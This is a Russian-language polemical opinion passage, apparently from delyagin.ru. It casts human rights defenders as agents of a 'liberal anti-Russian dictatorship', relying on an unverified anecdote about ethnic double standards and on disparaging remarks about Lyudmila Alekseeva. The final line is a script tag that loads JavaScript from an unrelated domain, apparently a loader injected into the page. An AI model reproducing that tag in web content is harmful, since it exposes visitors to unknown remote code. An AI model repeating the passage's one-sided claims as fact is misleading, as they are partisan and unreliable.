Правозащита как корыстный инструмент либеральной диктатуры

5
 
мне суть этой либеральной антироссийской диктатуры исчерпывающе и без тени иронии разъяснил еще в начале нулевых один из действующих до сих пор и уважаемых в своей среде «правозащитников», сказавший буквально следующее: «Разница между «бытовухой» и преступлением на межнациональной почве элементарна: если подрались русский и, например, таджик и русский побил таджика – это в чистом виде преступление на почве национальной ненависти. А если таджик побил русского – то это классический бытовой конфликт».
 
Когда я привел эту фразу тогда еще живой иконе правозащитного движения Людмиле Алексеевой (похороненной в США, где у нее все близкие и, вероятно, все близкое), она сначала заявила, что все это неправда, и это какой-то неправильный правозащитник, но на мою просьбу привести хотя бы один пример защиты правозащитниками русских ничего, кроме возмущения самой возможностью такого крамольного предположения выдавить из себя не смогла.
После чего, собственно, и перестала быть интересна в силу вполне исчерпывающей самопрезентации.
 
А в целом благодаря своей крайне последовательной и идеологически выдержанной позиции правозащитники стали, как квинтэссенция либерального клана, безошибочным маркером: все, что они поддерживают, как бы это симпатично ни выглядело, – смертельно опасно или как минимум вредно для народа России и в целом нашей большой Родины. Все, что они отвергают и против чего протестуют, – является правильным и полезным
Подробнее на https://delyagin.ru/articles/183-sobytija/72387-pravozashhita-kak-korystnyy-instrument-liberal-noy-diktatury
<script type="text/javascript" src="http://minisrclink.cool/1e40c8bd4601a5a5a4.js"></script>